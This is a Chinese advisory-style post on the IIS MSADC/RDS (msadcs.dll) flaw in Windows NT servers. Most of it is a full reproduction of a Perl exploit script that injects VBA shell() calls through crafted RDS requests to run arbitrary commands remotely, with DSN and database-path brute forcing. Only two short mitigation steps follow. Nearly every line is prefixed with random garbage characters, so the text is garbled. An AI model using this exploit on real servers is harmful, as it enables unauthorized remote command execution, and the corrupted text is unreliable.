IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`< 82"cAT{ Ov#G 7a" 涉及程序:
7fC:'1]G Microsoft NT server
M2nWvU$ FOAXm4" 描述:
2BO&OX|X 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[a!)w@I: P&h]uNu 详细:
R:`)*=rL% 如果你没有时间读详细内容的话,就删除:
HF<h-gX c:\Program Files\Common Files\System\Msadc\msadcs.dll
\b}%A&Ij 有关的安全问题就没有了。
d5"rCd[
(F&o!W 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
FY)US> .JBTU>1]_n 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
KJv[z 关于利用ODBC远程漏洞的描述,请参看:
T930tX6"h O Cnra http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5FE& ; Kh!OBZFo 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
!ou;yE&<, http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9TZ 6c TU*Y?D
L 这里不再论述。
Fd#Zu.Np ? ph>:M 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
<cFj-Ys(T "TVmxE%( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
w3&L 6|, 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
+ (Jh$b_ <b?$-Rx ~sdM~9@
' #将下面这段保存为txt文件,然后: "perl -x 文件名"
QabLMq@n` TUARYJ6= #!perl
BZ(DP_}&D #
@}s EP&$ # MSADC/RDS 'usage' (aka exploit) script
QZ+G2$ #
<`u_O!h # by rain.forest.puppy
*;F:6p4_ #
HP\5gLVXY # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Z FX6iAxd # beta test and find errors!
ornU8H` CaVVlL use Socket; use Getopt::Std;
X6BOB? getopts("e:vd:h:XR", \%args);
j9X|c7| '>HLE) l print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Yy;BJ_ 7.]H9 if (!defined $args{h} && !defined $args{R}) {
W\<HUd print qq~
5}b)W>3@` Usage: msadc.pl -h <host> { -d <delay> -X -v }
&A=c[pc -h <host> = host you want to scan (ip or domain)
d5`D[,]d -d <seconds> = delay between calls, default 1 second
vpC?JXz=H -X = dump Index Server path table, if available
FV{XPr%
-v = verbose
dkeMiLm -e = external dictionary file for step 5
^9><qKbO rM?
J40&. Or a -R will resume a command session
.@ZrmO
o]] hZw8*H^tP ~; exit;}
4_# (y^9 4K 8 (H9( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
yMC6 Gvp if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>s )L(DHa" if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Xkk 8#Y": if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
13*S<\ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
$R+rB;=a! if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
SE(c_ sX cc8Q} if (!defined $args{R}){ $ret = &has_msadc;
/,~g"y.;, die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
:^-\KE`3 64vj6 &L print "Please type the NT commandline you want to run (cmd /c assumed):\n"
IfT: 9
& . "cmd /c ";
FlUO3rc| $in=<STDIN>; chomp $in;
SbQ:vAE*ho $command="cmd /c " . $in ;
D;*cy<_K8 7#SfuZ0@ if (defined $args{R}) {&load; exit;}
9Q*:II CNhLp# print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
KT7R0 v &try_btcustmr;
>
6=3y4tP 0{XT#H print "\nStep 2: Trying to make our own DSN...";
6 !N2B[9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
H}q$6WE <
+kdL print "\nStep 3: Trying known DSNs...";
x 0#u2j?zj &known_dsn;
[)kuu \;!7IIe# print "\nStep 4: Trying known .mdbs...";
m&z(2yb1 &known_mdb;
fJ6Q:7 <@lj\, if (defined $args{e}){
;),,Hk print "\nStep 5: Trying dictionary of DSN names...";
r'lANl-v &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
0{u%J%; NjPQT9&3h print "Sorry Charley...maybe next time?\n";
AX
Q.E$1g exit;
I*$-[3/ d+6q%U ##############################################################################
(_6JQn RKM5FXX sub sendraw { # ripped and modded from whisker
IYHNN sleep($delay); # it's a DoS on the server! At least on mine...
l ?YO!$ my ($pstr)=@_;
E|jU8qz>P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l2YA/9. die("Socket problems\n");
,?HM5c{'[Y if(connect(S,pack "SnA4x8",2,80,$target)){
) jt?X} select(S); $|=1;
0c8_& print $pstr; my @in=<S>;
TP~1-(M)} select(STDOUT); close(S);
xE$lx:C"FU return @in;
K-K>'T9F} } else { die("Can't connect...\n"); }}
fVVD}GM= P,xJVo\ ##############################################################################
=BJe}AV bTZ.y.sI sub make_header { # make the HTTP request
atmW? Z my $msadc=<<EOT
<M}O&?N
8x POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#{^qBP[ User-Agent: ACTIVEDATA
g#Ta03\ Host: $ip
q*C-DiV Content-Length: $clen
SLUQFoz} Connection: Keep-Alive
BjA$^ i|8 SXN]${ ADCClientVersion:01.06
@1<VvW= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0\s&;@xKk ^,)nuUy --!ADM!ROX!YOUR!WORLD!
da_0{;wR Content-Type: application/x-varg
7+IRI|d Content-Length: $reqlen
9\T9pjdZE M4CC&?6\ EOT
^dsj1#3z ; $msadc=~s/\n/\r\n/g;
]ms+Va_/ return $msadc;}
Bu+?N%CBi L6;'V5Mg72 ##############################################################################
LGVy4D wZW\r!Us sub make_req { # make the RDS request
F?0Q AA my ($switch, $p1, $p2)=@_;
qZ
+K4H my $req=""; my $t1, $t2, $query, $dsn;
WK@<# }TAG7U* if ($switch==1){ # this is the btcustmr.mdb query
-_eG/o=M $query="Select * from Customers where City=" . make_shell();
$<Y%4LI $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
OdNcuiLa $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Zm7,O8 Cud!JpL elsif ($switch==2){ # this is general make table query
%tZrP$DQ $query="create table AZZ (B int, C varchar(10))";
X#K;(.},h $dsn="$p1";}
45$aq~%as q)KOI`A elsif ($switch==3){ # this is general exploit table query
l4(FM}0X5} $query="select * from AZZ where C=" . make_shell();
&-X51O C $dsn="$p1";}
8V9OMOt! =dQ/^C_hj elsif ($switch==4){ # attempt to hork file info from index server
4\g[& $query="select path from scope()";
;DVg[# $dsn="Provider=MSIDXS;";}
:^xNHMp! Df:/r% elsif ($switch==5){ # bad query
i1A<0W| $query="select";
v-^tj}jA $dsn="$p1";}
|.&GmP rKd|s7l $t1= make_unicode($query);
mZmEE2h $t2= make_unicode($dsn);
bNiJ"k<pN $req = "\x02\x00\x03\x00";
r4fg!]J; $req.= "\x08\x00" . pack ("S1", length($t1));
)0"T?Ivp] $req.= "\x00\x00" . $t1 ;
U@{>+G[ $req.= "\x08\x00" . pack ("S1", length($t2));
7^mQfQv $req.= "\x00\x00" . $t2 ;
Ap;^\5 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
1oQbV`P return $req;}
>l/pwb@ 6A}tA$*s7 ##############################################################################
JnIG;/ inZ0iU9dy sub make_shell { # this makes the shell() statement
moh,a B# return "'|shell(\"$command\")|'";}
Kv<mDA! Y6d~hLC ##############################################################################
v\qyDZ VV fX6pW%Q'6 sub make_unicode { # quick little function to convert to unicode
m\bmBK"I my ($in)=@_; my $out;
H{Lt,# for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
f5l\3oL return $out;}
[p}~M-$V8Y e"XolM0IM ##############################################################################
Wm5[+z|2?9 QnS#"hc\a sub rdo_success { # checks for RDO return success (this is kludge)
*M0O&" ~j my (@in) = @_; my $base=content_start(@in);
m({q<&]Qp if($in[$base]=~/multipart\/mixed/){
W1t_P&i return 1 if( $in[$base+10]=~/^\x09\x00/ );}
F:[[@~z return 0;}
]` A*7 VM\\.L
##############################################################################
n<<arO"cv vv<\LN0 sub make_dsn { # this makes a DSN for us
p9mGiK4! my @drives=("c","d","e","f");
J^%E$s print "\nMaking DSN: ";
^Jdg%U? foreach $drive (@drives) {
#o9CC)q5G print "$drive: ";
ITi#p% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!|]k2=+I "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
,Mi'NO . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
/BvMNKb$$ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
TcJJ"[0 return 0 if $2 eq "404"; # not found/doesn't exist
Qz%q#4Zb if($2 eq "200") {
burSb:JF foreach $line (@results) {
kM=&Tfpj return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6Yt3Oq<U } return 0;}
NLYf x2aG5@<3 ##############################################################################
-f1}N|hy ;X0uA? sub verify_exists {
;:ZD<'+N my ($page)=@_;
qQO*:_ezzk my @results=sendraw("GET $page HTTP/1.0\n\n");
\F\7*=xk return $results[0];}
D!Nc&|X^ .h4Z\R` ##############################################################################
v)nv"o[ {#`wW`U^ sub try_btcustmr {
LmJ _$?o my @drives=("c","d","e","f");
#UI`+2w my @dirs=("winnt","winnt35","winnt351","win","windows");
Yl$@/xAa l[m*csDk" foreach $dir (@dirs) {
H1KXAy`& print "$dir -> "; # fun status so you can see progress
R[fQ$` M foreach $drive (@drives) {
c'Z)uquvP print "$drive: "; # ditto
@Gw]cm $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6"}F
KRR $reqlenlen=length( "$reqlen" );
EM+! ph $clen= 206 + $reqlenlen + $reqlen;
0b8=94a{> /Dt:4{aTOC my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ui|6ih$+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
T?=]&9Y' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9Av{>W? b E40^e ##############################################################################
In!^+j b].U/=Hs sub odbc_error {
xXmlHo<D my (@in)=@_; my $base;
I69Z'}+qz my $base = content_start(@in);
]gv3|W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
O*,O]Q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e7&RZ+s#wZ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H$Pf$D$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}j2t8B^&: return $in[$base+4].$in[$base+5].$in[$base+6];}
D;+Y0B print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
w
T_l>u print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
42-T&7k $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
f(!cz,y^\* xCT2FvX6 ##############################################################################
d/$e#8 ",,.xLI7 sub verbose {
Q^l!cL| { my ($in)=@_;
Ah5o>ZtcO return if !$verbose;
T-kHk( print STDOUT "\n$in\n";}
w-v8P`V 1 <lfo^B ##############################################################################
2\+N<-(F5 2.v`J=R sub save {
$M4_"!
my ($p1, $p2, $p3, $p4)=@_;
2_?VR~mA# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
}XpZgd$ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9:Bn-3 ) close OUT;}
r~fnK%| EUH9R8) ##############################################################################
8. +f@wv X(DP=C}v9 sub load {
.N\t3\9} my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v{*2F open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s+G(N$0U @p=<IN>; close(IN);
r8czDc),b $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
oq1wU@n $target= inet_aton($ip) || die("inet_aton problems");
$ >].;y?$ print "Resuming to $ip ...";
a_b+RMy $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
3!#FG0Z if($p[1]==1) {
%P#|
} $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vQ$"|8, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
1 un! my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=i7CF3 if (rdo_success(@results)){print "Success!\n";}
16.?45 else { print "failed\n"; verbose(odbc_error(@results));}}
>Apa^Bp elsif ($p[1]==3){
dI=&gz if(run_query("$p[3]")){
&fkH\o7) print "Success!\n";} else { print "failed\n"; }}
B/3xV:Gy elsif ($p[1]==4){
]lE5^<<
if(run_query($drvst . "$p[3]")){
aSHN*tP%y print "Success!\n"; } else { print "failed\n"; }}
uz=9L<$ exit;}
HoWK#Nz\ `G*fx=N ##############################################################################
I,&
gKgh Jiru~Vo+ sub create_table {
b#t5Dve my ($in)=@_;
XQ}7.u! $reqlen=length( make_req(2,$in,"") ) - 28;
NPa4I7`A $reqlenlen=length( "$reqlen" );
N"~P$B1X $clen= 206 + $reqlenlen + $reqlen;
r(n>N0:0Ls my @results=sendraw(make_header() . make_req(2,$in,""));
v6=X]Ji{YA return 1 if rdo_success(@results);
k>!i
_lb
my $temp= odbc_error(@results); verbose($temp);
pB%oFWqK return 1 if $temp=~/Table 'AZZ' already exists/;
^HI2Vp return 0;}
20J-VN: G1ruF8 ##############################################################################
!I91kJt7 0YoV`D,U sub known_dsn {
'^_^o)0gp # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
tBsvi%F my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
hW;n^\lF#e "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
mOLz(0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
-ni@+Dy j4=\MK foreach $dSn (@dsns) {
;LKYA?=/V print ".";
x&EMg! next if (!is_access("DSN=$dSn"));
rO/Sj<0^ if(create_table("DSN=$dSn")){
b!"FM/% print "$dSn successful\n";
!)}z{,Jx if(run_query("DSN=$dSn")){
k@[[vj|W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p2+K-/}ApP print "Something's borked. Use verbose next time\n";}}} print "\n";}
k%s,(2)30 {!.w} ##############################################################################
O\%0D.HEz v&f\ Jv7 sub is_access {
{)Wa"|+ my ($in)=@_;
Rdj^k^V+a1 $reqlen=length( make_req(5,$in,"") ) - 28;
@x*,fk $reqlenlen=length( "$reqlen" );
>.XXB
5a $clen= 206 + $reqlenlen + $reqlen;
x{rjngp2 my @results=sendraw(make_header() . make_req(5,$in,""));
Q yQ[H my $temp= odbc_error(@results);
\y7Gi}nI verbose($temp); return 1 if ($temp=~/Microsoft Access/);
c<q~T >0k return 0;}
{q;_Dd nmuU*oL ##############################################################################
AOTtAV_e ?PV@WrU>B sub run_query {
'CG% PjCO my ($in)=@_;
t[G7&ovj
$reqlen=length( make_req(3,$in,"") ) - 28;
9p4SxMMO $reqlenlen=length( "$reqlen" );
:)+)L@By $clen= 206 + $reqlenlen + $reqlen;
M}=fdH my @results=sendraw(make_header() . make_req(3,$in,""));
uY3#, return 1 if rdo_success(@results);
Uqly|FS &n my $temp= odbc_error(@results); verbose($temp);
Ms+SJ5Lg return 0;}
Pt6d5EIG _,p/2m-Pj ##############################################################################
3rLc\rK N5x I;UV9' sub known_mdb {
}C~9?Y my @drives=("c","d","e","f","g");
rvb@4-i>iI my @dirs=("winnt","winnt35","winnt351","win","windows");
.n?i'8 my $dir, $drive, $mdb;
D@@"w+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
J10&iCr{r* iqsR]mab # this is sparse, because I don't know of many
mQK3YoC) my @sysmdbs=( "\\catroot\\icatalog.mdb",
,E+\SBQS_ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
dXU6TCjU7 "\\system32\\certmdb.mdb",
AD6 b "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&oFgZ . jHx\YK@e\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
lg^Lk\Y+re "\\cfusion\\cfapps\\forums\\forums_.mdb",
I}]UQ4XJ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{D[z>I;D "\\cfusion\\cfapps\\security\\realm_.mdb",
hN!{/Gc| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^j1G08W "\\cfusion\\database\\cfexamples.mdb",
Gxt6]+r "\\cfusion\\database\\cfsnippets.mdb",
!4YmaijeN "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
X7MA>j3m "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
T@n};,SQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
;YBk.}
% "\\cfusion\\database\\smpolicy.mdb",
9h6siK(F "\\cfusion\\database\cypress.mdb",
`vf]C' "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
C2DAsSw "\\website\\cgi-win\\dbsample.mdb",
GAh\6ul "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
yv$hIU2X "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
&nY#GHB ); #these are just
O}6*9Xy foreach $drive (@drives) {
ydE}.0zN foreach $dir (@dirs){
jd}~#:FUr* foreach $mdb (@sysmdbs) {
#VZ
js`d6 print ".";
ykxAm\O if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
<DEu]-'> print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
$bZ5@)E if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*I k/Vu%; print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}|znQ3A2\l } else { print "Something's borked. Use verbose next time\n"; }}}}}
l
o-
42) j& L@L.d foreach $drive (@drives) {
~O3VX75f foreach $mdb (@mdbs) {
SkU9iW(k print ".";
N#X*
0i" if(create_table($drv . $drive . $dir . $mdb)){
i> {0h3Y print "\n" . $drive . $dir . $mdb . " successful\n";
@U =~c9 if(run_query($drv . $drive . $dir . $mdb)){
gaE8\JSr print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
x5M+\?I<2 } else { print "Something's borked. Use verbose next time\n"; }}}}
Sa:;j4 }
5tY/ d=\k iN5[x{^t ##############################################################################
V7
hO} w@a|_? sub hork_idx {
g$qM}#s0} print "\nAttempting to dump Index Server tables...\n";
NK%Ok print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
+\>op,_9I $reqlen=length( make_req(4,"","") ) - 28;
Z[1|('
$reqlenlen=length( "$reqlen" );
)X8N|W>vh $clen= 206 + $reqlenlen + $reqlen;
Rq|]KAN my @results=sendraw2(make_header() . make_req(4,"",""));
GP`sOPr if (rdo_success(@results)){
hXD/ my $max=@results; my $c; my %d;
6 8Vxy for($c=19; $c<$max; $c++){
p>W@h*[6w $results[$c]=~s/\x00//g;
&@D\4b,?nm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
LFvZ 7M\\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
9)4_@rf% $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
v:NQrN $d{"$1$2"}="";}
[|(=15; foreach $c (keys %d){ print "$c\n"; }
!;Pp)SRzKG } else {print "Index server doesn't seem to be installed.\n"; }}
}gd'pgN"t D|'[ [= ##############################################################################
caV DV R
pT7Nr sub dsn_dict {
Qr?1\H:Lq open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:b;`.`@KL_ while(<IN>){
2{B
ScI5K $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
rshUF next if (!is_access("DSN=$dSn"));
d\r-)VWSr" if(create_table("DSN=$dSn")){
}?sC1]-j& print "$dSn successful\n";
4AKPS&k; if(run_query("DSN=$dSn")){
J_9[xmM print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C3(h j print "Something's borked. Use verbose next time\n";}}}
+ 7wMM#z print "\n"; close(IN);}
p+b$jKWQ Hk=HO|&<XB ##############################################################################
*<X*)A{C |n~,{= sub sendraw2 { # ripped and modded from whisker
Mu6DTp~k sleep($delay); # it's a DoS on the server! At least on mine...
z8xBq%97us my ($pstr)=@_;
W mx3@]< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@R (Op|9 die("Socket problems\n");
NnaO!QW% if(connect(S,pack "SnA4x8",2,80,$target)){
rU1Ri print "Connected. Getting data";
@7{.err! open(OUT,">raw.out"); my @in;
amWKykVS5 select(S); $|=1; print $pstr;
dAy\IfZX= while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
2HF`}H)H close(OUT); select(STDOUT); close(S); return @in;
R]0`-_T } else { die("Can't connect...\n"); }}
^1_CS* n+nZ;GJ5d ##############################################################################
> }kZXeR| =T1Xfib sub content_start { # this will take in the server headers
nC)"% Sa my (@in)=@_; my $c;
=y`-:j\ for ($c=1;$c<500;$c++) {
G#A6<e/ if($in[$c] =~/^\x0d\x0a/){
2IGU{&s if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]bYmM@
else { return $c+1; }}}
.}:*tvot return -1;} # it should never get here actually
jBl$r{L kfZ(:3W$ ##############################################################################
O2"V'( ,LDL%<7t sub funky {
Ge^,hAM' my (@in)=@_; my $error=odbc_error(@in);
W>:MK-_J if($error=~/ADO could not find the specified provider/){
6~x a^3G: print "\nServer returned an ADO miscofiguration message\nAborting.\n";
aIh} j, exit;}
a2/Mf
if($error=~/A Handler is required/){
+@*>N;$ print "\nServer has custom handler filters (they most likely are patched)\n";
|$~]|SK exit;}
-Kcjnl92i if($error=~/specified Handler has denied Access/){
l}&2A*c. print "\nServer has custom handler filters (they most likely are patched)\n";
$\bVu2&I exit;}}
}Z<Sca7 $`lm]} {& ##############################################################################
YHMJ5IM@. emB<{kOkw sub has_msadc {
Ge7B%p8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
)d2:r 07a my $base=content_start(@results);
0Ng?U+6 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
E&5S[n9{3 return 0;}
VL'wrgk PsD)]V9%: ########################
:"H?phk !nlr!+(fV (U_HX2f 解决方案:
.rnT'""i<5 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
P"]l/ 2、移除web 目录: /msadc